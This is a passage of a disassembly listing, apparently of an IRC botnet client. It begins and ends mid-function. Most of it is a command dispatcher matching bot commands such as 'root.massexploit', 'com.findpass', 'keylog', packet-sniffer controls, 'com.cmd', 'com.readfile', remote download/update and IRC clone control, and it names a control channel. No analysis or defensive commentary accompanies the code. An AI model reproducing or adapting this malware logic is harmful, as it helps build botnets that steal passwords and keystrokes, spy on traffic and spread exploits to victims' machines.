		push	[ebp+arg_8]
		push	offset aCom_gc	; "com.gc"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F3E
		push	[ebp+arg_8]
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F13
		push	[ebp+arg_8]
		push	offset aUtil_farp ; "util.farp"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F13
		push	[ebp+arg_8]
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EEF
		push	[ebp+arg_8]
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EEF
		push	[ebp+arg_8]
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EB4
		push	[ebp+arg_8]
		push	offset aRoot_cip ; "root.cip"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EB4
		push	[ebp+arg_8]
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D21
		push	[ebp+arg_8]
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D21
		push	[ebp+arg_8]
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD6
		push	[ebp+arg_8]
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD6
		push	[ebp+arg_8]
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B32
		push	[ebp+arg_8]
		push	offset aCom_fp	; "com.fp"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B32
		push	[ebp+arg_8]
		push	offset aRoot_massexplo ; "root.massexploit"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41483E
		push	[ebp+arg_8]
		push	offset aRoot_mass ; "root.mass"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41483E
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40FAB8
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414825
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414825
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414805
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414805
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4147EC
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4147EC
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4147B5
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4147B5
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F2
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F2
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414647
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414647
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145F9
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145F9
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145D5
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145D5
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145AB
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145AB
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414586
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414586
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F4
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F4
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144C8
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144C8
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41446D
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41446D
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414436
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414436
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414355
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414355
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41433A
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41433A
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41425C
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41425C
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414221
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414221
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4141D6
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4141D6
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414142
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414142
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4115F4
		push	edi
		push	offset aOn	; "on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411595
		push	19h
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_4114C6
		push	offset a_n_z_m_Psniff_ ; ".n.z.m. (psniff.p.l.g) .»».  Already ru"...
		jmp	loc_4115C4
; ---------------------------------------------------------------------------


loc_4114C6:				; CODE XREF: sub_40F6F1+1DC9j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_411508
		mov	esi, offset aSodoma_3s_0 ; "##sodoma_3s"
		push	offset byte_43C63C
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411508
		mov	esi, [ebp+var_8C]


loc_411508:				; CODE XREF: sub_40F6F1+1DF9j
					; sub_40F6F1+1E0Fj
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_2DC]
		push	offset a_n_z_m_Psnif_0 ; ".n.z.m. (psniff.p.l.g) .»».  Carnivore "...
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402822
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_411584


loc_411572:				; CODE XREF: sub_40F6F1+1E91j
		cmp	[ebp+var_460], ebx
		jnz	short loc_4115D2
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_411572
; ---------------------------------------------------------------------------


loc_411584:				; CODE XREF: sub_40F6F1+1E7Fj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset a_n_z_m_Psnif_1 ; ".n.z.m. (psniff.p.l.g) .»».  Failed to "...
		jmp	loc_4145E5
; ---------------------------------------------------------------------------


loc_411595:				; CODE XREF: sub_40F6F1+1DB9j
		push	edi
		push	offset aOff	; "off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4115D2
		push	ebx
		push	19h
		call	sub_417053
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_4115BF
		push	eax
		push	offset a_n_z_m_Psnif_2 ; ".n.z.m. (psniff.p.l.g) .»».  Carnivore "...
		jmp	loc_4145E5
; ---------------------------------------------------------------------------


loc_4115BF:				; CODE XREF: sub_40F6F1+1EC1j
		push	offset a_n_z_m_Psnif_3 ; ".n.z.m. (psniff.p.l.g) .»».  No Carnivo"...


loc_4115C4:				; CODE XREF: sub_40F6F1+1DD0j
					; sub_40F6F1+1F40j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4115D2:				; CODE XREF: sub_40F6F1+1E87j
					; sub_40F6F1+1EB3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4100A4
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jmp	loc_4158DB
; ---------------------------------------------------------------------------


loc_4115F4:				; CODE XREF: sub_40F6F1+1DA4j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41173E
		push	edi
		push	offset aOn	; "on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411706
		push	22h
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_411633
		push	offset a_n_z_m_Sniffer ; ".n.z.m. (sniffer.p.l.g) .»». Already ru"...
		jmp	short loc_4115C4
; ---------------------------------------------------------------------------


loc_411633:				; CODE XREF: sub_40F6F1+1F39j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_411675
		mov	esi, offset aSodoma_3s_0 ; "##sodoma_3s"
		push	offset byte_43C63C
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411675
		mov	esi, [ebp+var_8C]


loc_411675:				; CODE XREF: sub_40F6F1+1F66j
					; sub_40F6F1+1F7Cj
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_2DC]
		push	offset a_n_z_m_Sniff_0 ; ".n.z.m. (sniffer.p.l.g) .»». packet sni"...
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	22h
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402E92
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4116F5


loc_4116DF:				; CODE XREF: sub_40F6F1+2002j
		cmp	[ebp+var_460], ebx
		jnz	loc_4115D2
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_4116DF
; ---------------------------------------------------------------------------


loc_4116F5:				; CODE XREF: sub_40F6F1+1FECj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset a_n_z_m_Sniff_1 ; ".n.z.m. (sniffer.p.l.g) .»». Failed to "...
		jmp	loc_4145E5
; ---------------------------------------------------------------------------


loc_411706:				; CODE XREF: sub_40F6F1+1F29j
		push	edi
		push	offset aOff	; "off"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4115D2
		push	ebx
		push	22h
		call	sub_417053
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_411734
		push	eax
		push	offset a_n_z_m_Sniff_2 ; ".n.z.m. (sniffer.p.l.g) .»».	sniffer	s"...
		jmp	loc_4145E5
; ---------------------------------------------------------------------------


loc_411734:				; CODE XREF: sub_40F6F1+2036j
		push	offset a_n_z_m_Sniff_3 ; ".n.z.m. (sniffer.p.l.g) .»». No sniffer"...
		jmp	loc_4115C4
; ---------------------------------------------------------------------------


loc_41173E:				; CODE XREF: sub_40F6F1+1F14j
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413FD6
		push	[ebp+arg_8]
		push	offset aCmd_kl_on ; "cmd.kl.on"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413FD6
		push	[ebp+arg_8]
		push	offset aOffz	; "offz"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413FB5
		push	[ebp+arg_8]
		push	offset aOffz	; "offz"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413FB5
		push	[ebp+arg_8]
		push	offset aSys_net	; "sys.net"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411A6B
		cmp	dword_441488, ebx
		jz	short loc_4117CB
		cmp	dword_4414B0, ebx
		jz	short loc_4117CB
		push	offset dword_437368
		jmp	loc_411A25
; ---------------------------------------------------------------------------


loc_4117CB:				; CODE XREF: sub_40F6F1+20C6j
					; sub_40F6F1+20CEj
		cmp	[ebp+var_C], ebx
		jz	loc_411A33
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_4117F3
		push	eax
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_4117F3:				; CODE XREF: sub_40F6F1+20F2j
		push	edi
		push	offset aStart	; "start"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411859
		cmp	[ebp+arg_18], ebx
		jz	short loc_41182D
		push	[ebp+arg_0]
		push	3


loc_41180E:				; CODE XREF: sub_40F6F1+217Ej
					; sub_40F6F1+2196j ...
		call	sub_40DCAB
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		add	esp, 14h
		jmp	loc_411A33
; ---------------------------------------------------------------------------


loc_41182D:				; CODE XREF: sub_40F6F1+2116j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DF52
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41184F
		push	offset dword_437334
		jmp	loc_411A25
; ---------------------------------------------------------------------------


loc_41184F:				; CODE XREF: sub_40F6F1+2152j
		push	offset dword_437304
		jmp	loc_411A25
; ---------------------------------------------------------------------------


loc_411859:				; CODE XREF: sub_40F6F1+2111j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411871
		push	[ebp+arg_0]
		push	4
		jmp	short loc_41180E
; ---------------------------------------------------------------------------


loc_411871:				; CODE XREF: sub_40F6F1+2177j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411889
		push	[ebp+arg_0]
		push	5
		jmp	short loc_41180E
; ---------------------------------------------------------------------------


loc_411889:				; CODE XREF: sub_40F6F1+218Fj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4118A4
		push	[ebp+arg_0]
		push	6
		jmp	loc_41180E
; ---------------------------------------------------------------------------


loc_4118A4:				; CODE XREF: sub_40F6F1+21A7j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4118BF
		push	[ebp+arg_0]
		push	1
		jmp	loc_41180E
; ---------------------------------------------------------------------------


loc_4118BF:				; CODE XREF: sub_40F6F1+21C2j
		push	edi
		push	offset aShare	; "share"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41193C
		cmp	[ebp+arg_18], ebx
		jz	short loc_41190F
		cmp	[ebp+var_9C4], bl
		jz	short loc_4118E5
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_4118F0
; ---------------------------------------------------------------------------


loc_4118E5:				; CODE XREF: sub_40F6F1+21EAj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx


loc_4118F0:				; CODE XREF: sub_40F6F1+21F2j
		call	sub_40E08F
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		add	esp, 18h
		jmp	loc_411A33
; ---------------------------------------------------------------------------


loc_41190F:				; CODE XREF: sub_40F6F1+21E2j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E284
		add	esp, 10h
		test	eax, eax
		jz	short loc_411932
		push	offset dword_4372B4
		jmp	loc_411A25
; ---------------------------------------------------------------------------


loc_411932:				; CODE XREF: sub_40F6F1+2235j
		push	offset dword_437284
		jmp	loc_411A25
; ---------------------------------------------------------------------------


loc_41193C:				; CODE XREF: sub_40F6F1+21DDj
		push	edi
		push	offset aUser	; "user"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4119D8
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4119B1
		cmp	[ebp+var_9C4], bl
		jz	short loc_411972
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411992
; ---------------------------------------------------------------------------


loc_411972:				; CODE XREF: sub_40F6F1+226Dj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_41198E
		push	esi
		push	eax
		push	ebx
		jmp	short loc_411992
; ---------------------------------------------------------------------------


loc_41198E:				; CODE XREF: sub_40F6F1+2296j
		push	ebx
		push	eax
		push	2


loc_411992:				; CODE XREF: sub_40F6F1+227Fj
					; sub_40F6F1+229Bj
		call	sub_40E3A5
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		add	esp, 24h
		jmp	loc_411A33
; ---------------------------------------------------------------------------


loc_4119B1:				; CODE XREF: sub_40F6F1+2265j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E8B9
		add	esp, 10h
		test	eax, eax
		jz	short loc_4119D1
		push	offset dword_43724C
		jmp	short loc_411A25
; ---------------------------------------------------------------------------


loc_4119D1:				; CODE XREF: sub_40F6F1+22D7j
		push	offset dword_437220
		jmp	short loc_411A25
; ---------------------------------------------------------------------------


loc_4119D8:				; CODE XREF: sub_40F6F1+225Aj
		push	edi
		push	offset aSend	; "send"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411A20
		cmp	[ebp+arg_18], ebx
		jz	short loc_411A19
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EB6D
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		jmp	short loc_411A33
; ---------------------------------------------------------------------------


loc_411A19:				; CODE XREF: sub_40F6F1+22FBj
		push	offset dword_4371F0
		jmp	short loc_411A25
; ---------------------------------------------------------------------------


loc_411A20:				; CODE XREF: sub_40F6F1+22F6j
		push	offset dword_4371C4


loc_411A25:				; CODE XREF: sub_40F6F1+20D5j
					; sub_40F6F1+2159j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_411A33:				; CODE XREF: sub_40F6F1+20DDj
					; sub_40F6F1+2137j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A54
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_411A4C:				; CODE XREF: sub_40F6F1+6124j
		call	sub_40DC10
		add	esp, 14h


loc_411A54:				; CODE XREF: sub_40F6F1+2345j
					; sub_40F6F1+4AC6j ...
		mov	esi, [ebp+arg_24]


loc_411A57:				; CODE XREF: sub_40F6F1+9B6j
					; sub_40F6F1+4DB0j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		pop	ecx
		mov	eax, esi
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_411A6B:				; CODE XREF: sub_40F6F1+20BAj
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D72
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D72
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413C8E
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413C8E
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40FAB8
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413C52
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413C52
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BFF
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BFF
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B91
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B91
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B2E
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B2E
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AEF
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AEF
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A84
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A84
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A02
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A02
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413991
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413991
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41396B
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41396B
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413908
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413908
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413842
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413842
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4137A7
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4137A7
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.updat4m13"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413626
		push	[ebp+arg_8]
		push	offset aDownload_up33 ;	"download.up33"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413626
		push	[ebp+arg_8]
